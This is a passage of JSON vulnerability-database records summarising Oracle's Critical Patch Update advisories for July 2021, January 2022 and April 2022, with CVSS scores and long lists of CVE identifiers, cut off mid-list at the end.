Patch Update and other Oracle Software Security Assurance activities is located at [ July 2021 Critical Patch Update: Executive Summary and Analysis](<https://support.oracle.com/rs?type=doc&id=2788740.1>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-07-20T00:00:00", "type": "oracle", "title": "Oracle Critical Patch Update Advisory - July 2021", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-0881", "CVE-2015-0254", "CVE-2016-0762", "CVE-2016-4429", "CVE-2017-14735", "CVE-2017-16931", "CVE-2017-3735", "CVE-2017-5461", "CVE-2017-5637", "CVE-2017-7656", "CVE-2017-7657", "CVE-2017-7658", "CVE-2017-9735", "CVE-2018-0737", "CVE-2018-0739", "CVE-2018-15686", "CVE-2018-21010", "CVE-2018-7160", "CVE-2018-7183", "CVE-2019-0190", "CVE-2019-0201", "CVE-2019-0205", "CVE-2019-0210", "CVE-2019-0219", "CVE-2019-0228", "CVE-2019-10086", "CVE-2019-10173", "CVE-2019-10746", "CVE-2019-11358", "CVE-2019-12260", "CVE-2019-12399", "CVE-2019-12402", "CVE-2019-12415", "CVE-2019-12973", "CVE-2019-13990", "CVE-2019-15604", "CVE-2019-15605", "CVE-2019-15606", "CVE-2019-16942", "CVE-2019-16943", "CVE-2019-17195", "CVE-2019-17531", "CVE-2019-17543", "CVE-2019-17545", "CVE-2019-17566", "CVE-2019-20330", "CVE-2019-2725", "CVE-2019-2729", "CVE-2019-2897", "CVE-2019-3738", "CVE-2019-3739", "CVE-2019-3740", "CVE-2019-5063", "CVE-2019-5064", "CVE-2020-10543", "CVE-2020-10683", "CVE-2020-10878", "CVE-2020-11022", "CVE-2020-11023", "CVE-2020-11612", "CVE-2020-11868", "CVE-2020-11973", "CVE-2020-11979", "CVE-2020-11987", "CVE-2020-11988", "CVE-2020-11998", "CVE-2020-12723", "CVE-2020-13934", "CVE-2020-13935", "CVE-2020-13949", "CVE-2020-13956", "CVE-2020-14060", "CVE-2020-14061", "CVE-2020-14062", "CVE-2020-14195", "CVE-2020-14756", "CVE-2020-15389", "CVE-2020-17521", "CVE-2020-17527", "CVE-2020-17530", "CVE-2020-1941", "CVE-2020-1945", "CVE-2020-1967", "CVE-2020-1968", "CVE-2020-1971", "CVE-2020-24553", "CVE-2020-24616", "CVE-2020-24750", "CVE-2020-2555", "CVE-2020-25638", "CVE-2020-25648", "CVE-2020-25649", "CVE-2020-2604", "CVE-2020-26217", "CVE-2020-26870", "CVE-2020-27193", "CVE-2020-27216", "CVE-2020-27218", "CVE-2020-27783", "CVE-2020-27814", "CVE-2020-27841", "CVE-2020-27842", "CVE-2020-27843", "CVE-2020-27844", "CVE-2020-27845", "CVE-2020-28052", "CVE-2020-28196", "CVE-2020-28928", "CVE-2020-29582", "CVE-2020-35490", "CVE-2020-35491", "CVE-2020-35728", "CVE-2020-36179", "CVE-2020-36180", "CVE-2020-36181", "CVE-2020-36182", "CVE-2020-36183", "CVE-2020-36184", "CVE-2020-36185", "CVE-2020-36186", "CVE-2020-36187", "CVE-2020-36188", "CVE-2020-36189", "CVE-2020-5258", "CVE-2020-5397", "CVE-2020-5398", "CVE-2020-5413", "CVE-2020-5421", "CVE-2020-7016", "CVE-2020-7017", "CVE-2020-7712", "CVE-2020-7733", "CVE-2020-7760", "CVE-2020-8174", "CVE-2020-8203", "CVE-2020-8277", "CVE-2020-8284", "CVE-2020-8285", "CVE-2020-8286", "CVE-2020-8554", "CVE-2020-8908", "CVE-2020-9484", "CVE-2020-9489", "CVE-2021-20190", "CVE-2021-20227", "CVE-2021-21275", "CVE-2021-21290", "CVE-2021-21341", "CVE-2021-21342", "CVE-2021-21343", "CVE-2021-21344", "CVE-2021-21345", "CVE-2021-21346", "CVE-2021-21347", "CVE-2021-21348", "CVE-2021-21349", "CVE-2021-21350", "CVE-2021-21351", "CVE-2021-21409", "CVE-2021-22112", "CVE-2021-22118", "CVE-2021-2244", "CVE-2021-22876", "CVE-2021-22883", "CVE-2021-22884", "CVE-2021-22890", "CVE-2021-22897", "CVE-2021-22898", "CVE-2021-22901", "CVE-2021-2323", "CVE-2021-2324", "CVE-2021-2326", "CVE-2021-2328", "CVE-2021-2329", "CVE-2021-2330", "CVE-2021-2333", "CVE-2021-23336", "CVE-2021-2334", "CVE-2021-2335", "CVE-2021-2336", "CVE-2021-2337", "CVE-2021-2338", "CVE-2021-2339", "CVE-2021-2340", "CVE-2021-2341", "CVE-2021-2342", "CVE-2021-2343", "CVE-2021-2344", "CVE-2021-2345", "CVE-2021-2346", "CVE-2021-2347", "CVE-2021-2348", "CVE-2021-2349", "CVE-2021-2350", "CVE-2021-2351", "CVE-2021-2352", "CVE-2021-2353", "CVE-2021-2354", "CVE-2021-2355", "CVE-2021-2356", "CVE-2021-2357", "CVE-2021-2358", "CVE-2021-2359", "CVE-2021-2360", "CVE-2021-2361", "CVE-2021-2362", "CVE-2021-2363", "CVE-2021-2364", "CVE-2021-2365", "CVE-2021-2366", "CVE-2021-2367", "CVE-2021-2368", "CVE-2021-2369", "CVE-2021-2370", "CVE-2021-2371", "CVE-2021-2372", "CVE-2021-2373", "CVE-2021-2374", "CVE-2021-2375", "CVE-2021-2376", "CVE-2021-2377", "CVE-2021-2378", "CVE-2021-2380", "CVE-2021-2381", "CVE-2021-2382", "CVE-2021-2383", "CVE-2021-23839", "CVE-2021-2384", "CVE-2021-23840", "CVE-2021-23841", "CVE-2021-2385", "CVE-2021-2386", "CVE-2021-2387", "CVE-2021-2388", "CVE-2021-2389", "CVE-2021-2390", "CVE-2021-2391", "CVE-2021-2392", "CVE-2021-2393", "CVE-2021-2394", "CVE-2021-2395", "CVE-2021-2396", "CVE-2021-2397", "CVE-2021-2398", "CVE-2021-2399", "CVE-2021-2400", "CVE-2021-2401", "CVE-2021-2402", "CVE-2021-2403", "CVE-2021-2404", "CVE-2021-2405", "CVE-2021-2406", "CVE-2021-2407", "CVE-2021-2408", "CVE-2021-2409", "CVE-2021-2410", "CVE-2021-2411", "CVE-2021-2412", "CVE-2021-24122", "CVE-2021-2415", "CVE-2021-2417", "CVE-2021-2418", "CVE-2021-2419", "CVE-2021-2420", "CVE-2021-2421", "CVE-2021-2422", "CVE-2021-2423", "CVE-2021-2424", "CVE-2021-2425", "CVE-2021-2426", "CVE-2021-2427", "CVE-2021-2428", "CVE-2021-2429", "CVE-2021-2430", "CVE-2021-2431", "CVE-2021-2432", "CVE-2021-2433", "CVE-2021-2434", "CVE-2021-2435", "CVE-2021-2436", "CVE-2021-2437", "CVE-2021-2438", "CVE-2021-2439", "CVE-2021-2440", "CVE-2021-2441", "CVE-2021-2442", "CVE-2021-2443", "CVE-2021-2444", "CVE-2021-2445", "CVE-2021-2446", "CVE-2021-2447", "CVE-2021-2448", "CVE-2021-2449", "CVE-2021-2450", "CVE-2021-2451", "CVE-2021-2452", "CVE-2021-2453", "CVE-2021-2454", "CVE-2021-2455", "CVE-2021-2456", "CVE-2021-2457", "CVE-2021-2458", "CVE-2021-2460", "CVE-2021-2462", "CVE-2021-2463", "CVE-2021-25122", "CVE-2021-25329", "CVE-2021-26117", "CVE-2021-26271", "CVE-2021-26272", "CVE-2021-27568", "CVE-2021-27807", "CVE-2021-27906", "CVE-2021-28041", "CVE-2021-29921", "CVE-2021-30369", "CVE-2021-30640", "CVE-2021-3156", "CVE-2021-3177", "CVE-2021-31811", "CVE-2021-33037", "CVE-2021-3345", "CVE-2021-3449", "CVE-2021-3450", "CVE-2021-3520", "CVE-2021-3560"], "modified": "2021-09-03T00:00:00", "id": "ORACLE:CPUJUL2021", "href": "https://www.oracle.com/security-alerts/cpujul2021.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-07T20:10:47", "description": "A Critical Patch Update is a collection of patches for multiple security vulnerabilities. These patches address vulnerabilities in Oracle code and in third-party components included in Oracle products. These patches are usually cumulative, but each advisory describes only the security patches added since the previous Critical Patch Update Advisory. Thus, prior Critical Patch Update advisories should be reviewed for information regarding earlier published security patches. Refer to [\u201cCritical Patch Updates, Security Alerts and Bulletins\u201d](<https://www.oracle.com/security-alerts/>) for information about Oracle Security advisories. \n\n**Oracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already released security patches. In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches. Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update security patches without delay.**\n\nThis Critical Patch Update contains 497 new security patches across the product families listed below. Please note that an MOS note summarizing the content of this Critical Patch Update and other Oracle Software Security Assurance activities is located at [ January 2022 Critical Patch Update: Executive Summary and Analysis](<https://support.oracle.com/rs?type=doc&id=2832416.1>).\n\n**Please note that on December 10, 2021, Oracle released a Security Alert for Apache Log4j vulnerabilities [CVE-2021-44228 and CVE-2021-45046](<https://www.oracle.com/security-alerts/alert-cve-2021-44228.html>). Customers should review the Alert if they have not already done so.**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-18T00:00:00", "type": "oracle", "title": "Oracle Critical Patch Update Advisory - January 2022", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-7103", "CVE-2018-11771", "CVE-2018-1311", "CVE-2018-1324", "CVE-2019-10086", "CVE-2019-10219", "CVE-2019-11358", "CVE-2019-13734", "CVE-2019-17091", "CVE-2019-17495", "CVE-2019-17566", "CVE-2020-10543", "CVE-2020-10683", "CVE-2020-10878", "CVE-2020-11022", "CVE-2020-11023", "CVE-2020-11979", "CVE-2020-11987", "CVE-2020-12723", "CVE-2020-13817", "CVE-2020-13934", "CVE-2020-13935", "CVE-2020-13936", "CVE-2020-13949", "CVE-2020-13956", "CVE-2020-14340", "CVE-2020-14642", "CVE-2020-14756", "CVE-2020-15824", "CVE-2020-17521", "CVE-2020-17527", "CVE-2020-17530", "CVE-2020-1945", "CVE-2020-24616", "CVE-2020-24750", "CVE-2020-25649", "CVE-2020-27618", "CVE-2020-28052", "CVE-2020-28469", "CVE-2020-28500", "CVE-2020-2934", "CVE-2020-29582", "CVE-2020-35490", "CVE-2020-35491", "CVE-2020-35728", "CVE-2020-36179", "CVE-2020-36180", "CVE-2020-36181", "CVE-2020-36182", "CVE-2020-36183", "CVE-2020-36184", "CVE-2020-36185", "CVE-2020-36186", "CVE-2020-36187", "CVE-2020-36188", "CVE-2020-36189", "CVE-2020-5258", "CVE-2020-5421", "CVE-2020-6950", "CVE-2020-7712", "CVE-2020-8177", "CVE-2020-8203", "CVE-2020-8284", "CVE-2020-8285", "CVE-2020-8554", "CVE-2020-8908", "CVE-2020-9281", "CVE-2020-9484", "CVE-2021-20718", "CVE-2021-21409", "CVE-2021-21703", "CVE-2021-21705", "CVE-2021-21783", "CVE-2021-22118", "CVE-2021-22119", "CVE-2021-2277", "CVE-2021-22897", "CVE-2021-22898", "CVE-2021-22901", "CVE-2021-22924", "CVE-2021-22925", "CVE-2021-22926", "CVE-2021-22931", "CVE-2021-22939", "CVE-2021-22940", "CVE-2021-22946", "CVE-2021-22947", "CVE-2021-22959", "CVE-2021-22960", "CVE-2021-23017", "CVE-2021-23336", "CVE-2021-23337", "CVE-2021-2344", "CVE-2021-23440", "CVE-2021-2351", "CVE-2021-2371", "CVE-2021-23840", "CVE-2021-2428", "CVE-2021-25122", "CVE-2021-25329", "CVE-2021-26691", "CVE-2021-27568", "CVE-2021-28163", "CVE-2021-28164", "CVE-2021-28165", "CVE-2021-28169", "CVE-2021-29425", "CVE-2021-29505", "CVE-2021-29921", "CVE-2021-29923", "CVE-2021-30369", "CVE-2021-30639", "CVE-2021-30640", "CVE-2021-31684", "CVE-2021-3177", "CVE-2021-31811", "CVE-2021-31812", "CVE-2021-32012", "CVE-2021-32013", "CVE-2021-32014", "CVE-2021-32723", "CVE-2021-32808", "CVE-2021-32809", "CVE-2021-32827", "CVE-2021-33037", "CVE-2021-33193", "CVE-2021-3326", "CVE-2021-33560", "CVE-2021-33880", "CVE-2021-33909", "CVE-2021-3426", "CVE-2021-34428", "CVE-2021-34429", "CVE-2021-3448", "CVE-2021-34558", "CVE-2021-34798", "CVE-2021-35043", "CVE-2021-3516", "CVE-2021-3517", "CVE-2021-3541", "CVE-2021-35515", "CVE-2021-35516", "CVE-2021-35517", "CVE-2021-35587", "CVE-2021-35683", "CVE-2021-35684", "CVE-2021-35685", "CVE-2021-35686", "CVE-2021-35687", "CVE-2021-36090", "CVE-2021-36160", "CVE-2021-36221", "CVE-2021-3634", "CVE-2021-36373", "CVE-2021-36374", "CVE-2021-36690", "CVE-2021-3711", "CVE-2021-3712", "CVE-2021-37136", "CVE-2021-37137", "CVE-2021-37695", "CVE-2021-37714", "CVE-2021-38153", "CVE-2021-39139", "CVE-2021-39140", "CVE-2021-39141", "CVE-2021-39144", "CVE-2021-39145", "CVE-2021-39146", "CVE-2021-39147", "CVE-2021-39148", "CVE-2021-39149", "CVE-2021-39150", "CVE-2021-39151", "CVE-2021-39152", "CVE-2021-39153", "CVE-2021-39154", "CVE-2021-39275", "CVE-2021-40438", "CVE-2021-4104", "CVE-2021-41164", "CVE-2021-41165", "CVE-2021-41524", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42340", "CVE-2021-42575", "CVE-2021-43395", "CVE-2021-44224", "CVE-2021-44228", "CVE-2021-44790", "CVE-2021-44832", "CVE-2021-45046", "CVE-2021-45105", "CVE-2022-21242", "CVE-2022-21243", "CVE-2022-21244", "CVE-2022-21245", "CVE-2022-21246", "CVE-2022-21247", "CVE-2022-21248", "CVE-2022-21249", "CVE-2022-21250", "CVE-2022-21251", "CVE-2022-21252", "CVE-2022-21253", "CVE-2022-21254", "CVE-2022-21255", "CVE-2022-21256", "CVE-2022-21257", "CVE-2022-21258", "CVE-2022-21259", "CVE-2022-21260", "CVE-2022-21261", "CVE-2022-21262", "CVE-2022-21263", "CVE-2022-21264", "CVE-2022-21265", "CVE-2022-21266", "CVE-2022-21267", "CVE-2022-21268", "CVE-2022-21269", "CVE-2022-21270", "CVE-2022-21271", "CVE-2022-21272", "CVE-2022-21273", "CVE-2022-21274", "CVE-2022-21275", "CVE-2022-21276", "CVE-2022-21277", "CVE-2022-21278", "CVE-2022-21279", "CVE-2022-21280", "CVE-2022-21281", "CVE-2022-21282", "CVE-2022-21283", "CVE-2022-21284", "CVE-2022-21285", "CVE-2022-21286", "CVE-2022-21287", "CVE-2022-21288", "CVE-2022-21289", "CVE-2022-21290", "CVE-2022-21291", "CVE-2022-21292", "CVE-2022-21293", "CVE-2022-21294", "CVE-2022-21295", "CVE-2022-21296", "CVE-2022-21297", "CVE-2022-21298", "CVE-2022-21299", "CVE-2022-21300", "CVE-2022-21301", "CVE-2022-21302", "CVE-2022-21303", "CVE-2022-21304", "CVE-2022-21305", "CVE-2022-21306", "CVE-2022-21307", "CVE-2022-21308", "CVE-2022-21309", "CVE-2022-21310", "CVE-2022-21311", "CVE-2022-21312", "CVE-2022-21313", "CVE-2022-21314", "CVE-2022-21315", "CVE-2022-21316", "CVE-2022-21317", "CVE-2022-21318", "CVE-2022-21319", "CVE-2022-21320", "CVE-2022-21321", "CVE-2022-21322", "CVE-2022-21323", "CVE-2022-21324", "CVE-2022-21325", "CVE-2022-21326", "CVE-2022-21327", "CVE-2022-21328", "CVE-2022-21329", "CVE-2022-21330", "CVE-2022-21331", "CVE-2022-21332", "CVE-2022-21333", "CVE-2022-21334", "CVE-2022-21335", "CVE-2022-21336", "CVE-2022-21337", "CVE-2022-21338", "CVE-2022-21339", "CVE-2022-21340", "CVE-2022-21341", "CVE-2022-21342", "CVE-2022-21344", "CVE-2022-21345", "CVE-2022-21346", "CVE-2022-21347", "CVE-2022-21348", "CVE-2022-21349", "CVE-2022-21350", "CVE-2022-21351", "CVE-2022-21352", "CVE-2022-21353", "CVE-2022-21354", "CVE-2022-21355", "CVE-2022-21356", "CVE-2022-21357", "CVE-2022-21358", "CVE-2022-21359", "CVE-2022-21360", "CVE-2022-21361", "CVE-2022-21362", "CVE-2022-21363", "CVE-2022-21364", "CVE-2022-21365", "CVE-2022-21366", "CVE-2022-21367", "CVE-2022-21368", "CVE-2022-21369", "CVE-2022-21370", "CVE-2022-21371", "CVE-2022-21372", "CVE-2022-21373", "CVE-2022-21374", "CVE-2022-21375", "CVE-2022-21376", "CVE-2022-21377", "CVE-2022-21378", "CVE-2022-21379", "CVE-2022-21380", "CVE-2022-21381", "CVE-2022-21382", "CVE-2022-21383", "CVE-2022-21386", "CVE-2022-21387", "CVE-2022-21388", "CVE-2022-21389", "CVE-2022-21390", "CVE-2022-21391", "CVE-2022-21392", "CVE-2022-21393", "CVE-2022-21394", "CVE-2022-21395", "CVE-2022-21396", "CVE-2022-21397", "CVE-2022-21398", "CVE-2022-21399", "CVE-2022-21400", "CVE-2022-21401", "CVE-2022-21402", "CVE-2022-21403", "CVE-2022-23302", "CVE-2022-23305", "CVE-2022-23307"], "modified": "2022-03-14T00:00:00", "id": "ORACLE:CPUJAN2022", "href": "https://www.oracle.com/security-alerts/cpujan2022.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-07T20:11:43", "description": "A Critical Patch Update is a collection of patches for multiple security vulnerabilities. These patches address vulnerabilities in Oracle code and in third-party components included in Oracle products. These patches are usually cumulative, but each advisory describes only the security patches added since the previous Critical Patch Update Advisory. Thus, prior Critical Patch Update advisories should be reviewed for information regarding earlier published security patches. Refer to [\u201cCritical Patch Updates, Security Alerts and Bulletins\u201d](<https://www.oracle.com/security-alerts/>) for information about Oracle Security advisories. \n\n**Oracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already released security patches. In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches. Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update security patches without delay.**\n\nThis Critical Patch Update contains 520 new security patches across the product families listed below. Please note that an MOS note summarizing the content of this Critical Patch Update and other Oracle Software Security Assurance activities is located at [ April 2022 Critical Patch Update: Executive Summary and Analysis](<https://support.oracle.com/rs?type=doc&id=2857016.1>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-19T00:00:00", "type": "oracle", "title": "Oracle Critical Patch Update Advisory - April 2022", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-1000353", "CVE-2017-14159", "CVE-2017-17740", "CVE-2017-9287", "CVE-2018-1000067", "CVE-2018-1000068", "CVE-2018-1000192", "CVE-2018-1000193", "CVE-2018-1000194", "CVE-2018-1000195", "CVE-2018-11212", "CVE-2018-1285", "CVE-2018-1999001", "CVE-2018-1999002", "CVE-2018-1999003", "CVE-2018-1999004", "CVE-2018-1999005", "CVE-2018-1999007", "CVE-2018-2601", "CVE-2018-6356", "CVE-2018-8032", "CVE-2019-0227", "CVE-2019-1003049", "CVE-2019-1003050", "CVE-2019-10086", "CVE-2019-10247", "CVE-2019-10383", "CVE-2019-10384", "CVE-2019-12086", "CVE-2019-12399", "CVE-2019-12402", "CVE-2019-13038", "CVE-2019-13057", "CVE-2019-13565", "CVE-2019-13750", "CVE-2019-13751", "CVE-2019-14822", "CVE-2019-14862", "CVE-2019-16785", "CVE-2019-16786", "CVE-2019-16789", "CVE-2019-16792", "CVE-2019-17195", "CVE-2019-17571", "CVE-2019-18218", "CVE-2019-18276", "CVE-2019-19603", "CVE-2019-20388", "CVE-2019-20838", "CVE-2019-20916", "CVE-2019-3738", "CVE-2019-3739", "CVE-2019-3740", "CVE-2019-3799", "CVE-2019-5827", "CVE-2020-10531", "CVE-2020-10543", "CVE-2020-10693", "CVE-2020-10878", "CVE-2020-11022", "CVE-2020-11023", "CVE-2020-11080", "CVE-2020-11612", "CVE-2020-11971", "CVE-2020-11979", "CVE-2020-12243", "CVE-2020-12723", "CVE-2020-13434", "CVE-2020-13435", "CVE-2020-13935", "CVE-2020-13936", "CVE-2020-13956", "CVE-2020-14155", "CVE-2020-14340", "CVE-2020-14343", "CVE-2020-15250", "CVE-2020-15358", "CVE-2020-15719", "CVE-2020-16135", "CVE-2020-17521", "CVE-2020-17527", "CVE-2020-17530", "CVE-2020-1968", "CVE-2020-1971", "CVE-2020-24616", "CVE-2020-24750", "CVE-2020-24977", "CVE-2020-25638", "CVE-2020-25649", "CVE-2020-25659", "CVE-2020-27218", "CVE-2020-28052", "CVE-2020-28196", "CVE-2020-28895", "CVE-2020-29363", "CVE-2020-29582", "CVE-2020-35198", "CVE-2020-35490", "CVE-2020-35491", "CVE-2020-35728", "CVE-2020-36179", "CVE-2020-36180", "CVE-2020-36181", "CVE-2020-36182", "CVE-2020-36183", "CVE-2020-36184", "CVE-2020-36185", "CVE-2020-36186", "CVE-2020-36187", "CVE-2020-36188", "CVE-2020-36189", "CVE-2020-36242", "CVE-2020-36518", "CVE-2020-5245", "CVE-2020-5413", "CVE-2020-5421", "CVE-2020-6950", "CVE-2020-7226", "CVE-2020-7595", "CVE-2020-7760", "CVE-2020-8172", "CVE-2020-8174", "CVE-2020-8203", "CVE-2020-8231", "CVE-2020-8277", "CVE-2020-8284", "CVE-2020-8285", "CVE-2020-8286", "CVE-2020-8554", "CVE-2020-8908", "CVE-2020-9488", "CVE-2021-20231", "CVE-2021-20232", "CVE-2021-20289", "CVE-2021-21275", "CVE-2021-21290", "CVE-2021-21295", "CVE-2021-21409", "CVE-2021-21703", "CVE-2021-22096", "CVE-2021-22118", "CVE-2021-22132", "CVE-2021-22134", "CVE-2021-22144", "CVE-2021-22145", "CVE-2021-22569", "CVE-2021-22570", "CVE-2021-22696", "CVE-2021-22897", "CVE-2021-22898", "CVE-2021-22901", "CVE-2021-22946", "CVE-2021-22947", "CVE-2021-23017", "CVE-2021-23450", "CVE-2021-2351", "CVE-2021-23839", "CVE-2021-23840", "CVE-2021-23841", "CVE-2021-2427", "CVE-2021-2464", "CVE-2021-2471", "CVE-2021-25219", "CVE-2021-26291", "CVE-2021-27568", "CVE-2021-27645", "CVE-2021-27807", "CVE-2021-27906", "CVE-2021-28168", "CVE-2021-28169", "CVE-2021-28170", "CVE-2021-28657", "CVE-2021-29425", "CVE-2021-29505", "CVE-2021-29921", "CVE-2021-30129", "CVE-2021-30468", "CVE-2021-3156", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-31811", "CVE-2021-31812", "CVE-2021-3200", "CVE-2021-32066", "CVE-2021-32626", "CVE-2021-32627", "CVE-2021-32628", "CVE-2021-32672", "CVE-2021-32675", "CVE-2021-32687", "CVE-2021-32762", "CVE-2021-32785", "CVE-2021-32786", "CVE-2021-32791", "CVE-2021-32792", "CVE-2021-33037", "CVE-2021-33193", "CVE-2021-33560", "CVE-2021-33574", "CVE-2021-33813", "CVE-2021-33880", "CVE-2021-34429", "CVE-2021-3445", "CVE-2021-3449", "CVE-2021-3450", "CVE-2021-34798", "CVE-2021-35043", "CVE-2021-3517", "CVE-2021-3518", "CVE-2021-3520", "CVE-2021-3521", "CVE-2021-3537", "CVE-2021-35515", "CVE-2021-35516", "CVE-2021-35517", "CVE-2021-35574", "CVE-2021-3572", "CVE-2021-3580", "CVE-2021-35942", "CVE-2021-36084", "CVE-2021-36085", "CVE-2021-36086", "CVE-2021-36087", "CVE-2021-36090", "CVE-2021-36160", "CVE-2021-36373", "CVE-2021-36374", "CVE-2021-3690", "CVE-2021-3711", "CVE-2021-3712", "CVE-2021-37136", "CVE-2021-37137", "CVE-2021-37714", "CVE-2021-3807", "CVE-2021-38153", "CVE-2021-39139", "CVE-2021-39140", "CVE-2021-39141", "CVE-2021-39144", "CVE-2021-39145", "CVE-2021-39146", "CVE-2021-39147", "CVE-2021-39148", "CVE-2021-39149", "CVE-2021-39150", "CVE-2021-39151", "CVE-2021-39152", "CVE-2021-39153", "CVE-2021-39154", "CVE-2021-39275", "CVE-2021-4034", "CVE-2021-40438", "CVE-2021-40690", "CVE-2021-4104", "CVE-2021-41099", "CVE-2021-41164", "CVE-2021-41165", "CVE-2021-41182", "CVE-2021-41183", "CVE-2021-41184", "CVE-2021-4160", "CVE-2021-41617", "CVE-2021-4181", "CVE-2021-4182", "CVE-2021-4183", "CVE-2021-4184", "CVE-2021-4185", "CVE-2021-41973", "CVE-2021-42013", "CVE-2021-42340", "CVE-2021-42392", "CVE-2021-42717", "CVE-2021-43395", "CVE-2021-43527", "CVE-2021-43797", "CVE-2021-43818", "CVE-2021-43859", "CVE-2021-44224", "CVE-2021-44531", "CVE-2021-44532", "CVE-2021-44533", "CVE-2021-44790", "CVE-2021-44832", "CVE-2021-45105", "CVE-2022-0391", "CVE-2022-0778", "CVE-2022-20612", "CVE-2022-20613", "CVE-2022-20614", "CVE-2022-20615", "CVE-2022-21271", "CVE-2022-21375", "CVE-2022-21384", "CVE-2022-21404", "CVE-2022-21405", "CVE-2022-21409", "CVE-2022-21410", "CVE-2022-21411", "CVE-2022-21412", "CVE-2022-21413", "CVE-2022-21414", "CVE-2022-21415", "CVE-2022-21416", "CVE-2022-21417", "CVE-2022-21418", "CVE-2022-21419", "CVE-2022-21420", "CVE-2022-21421", "CVE-2022-21422", "CVE-2022-21423", "CVE-2022-21424", "CVE-2022-21425", "CVE-2022-21426", "CVE-2022-21427", "CVE-2022-21430", "CVE-2022-21431", "CVE-2022-21434", "CVE-2022-21435", "CVE-2022-21436", "CVE-2022-21437", "CVE-2022-21438", "CVE-2022-21440", "CVE-2022-21441", "CVE-2022-21442", "CVE-2022-21443", "CVE-2022-21444", "CVE-2022-21445", "CVE-2022-21446", "CVE-2022-21447", "CVE-2022-21448", "CVE-2022-21449", "CVE-2022-21450", "CVE-2022-21451", "CVE-2022-21452", "CVE-2022-21453", "CVE-2022-21454", "CVE-2022-21457", "CVE-2022-21458", "CVE-2022-21459", "CVE-2022-21460", "CVE-2022-21461", "CVE-2022-21462", "CVE-2022-21463", "CVE-2022-21464", "CVE-2022-21465", "CVE-2022-21466", "CVE-2022-21467", "CVE-2022-21468", "CVE-2022-21469", "CVE-2022-21470", "CVE-2022-21471", "CVE-2022-21472", "CVE-2022-21473", "CVE-2022-21474", "CVE-2022-21475", "CVE-2022-21476", "CVE-2022-21477", "CVE-2022-21478", "CVE-2022-21479", "CVE-2022-21480", "CVE-2022-21481", "CVE-2022-21482", "CVE-2022-21483", "CVE-2022-21484", "CVE-2022-21485", "CVE-2022-21486", "CVE-2022-21487", "CVE-2022-21488", "CVE-2022-21489", "CVE-2022-21490", "CVE-2022-21491", "CVE-2022-21492", "CVE-2022-21493", "CVE-2022-21494", "CVE-2022-21496", "CVE-2022-21497", "CVE-2022-21498", "CVE-2022-21716", "CVE-2022-21824", "CVE-2022-22719", "CVE-2022-22720", "CVE-2022-22721", "CVE-2022-22947", "CVE-2022-22963", "CVE-2022-22965", "CVE-2022-22968", "CVE-2022-23181", "CVE-2022-23221", "CVE-2022-23302", "CVE-2022-23305", "CVE-2022-23307", "CVE-2022-23437", "CVE-2022-23852", "CVE-2022-23943", "CVE-2022-23990", 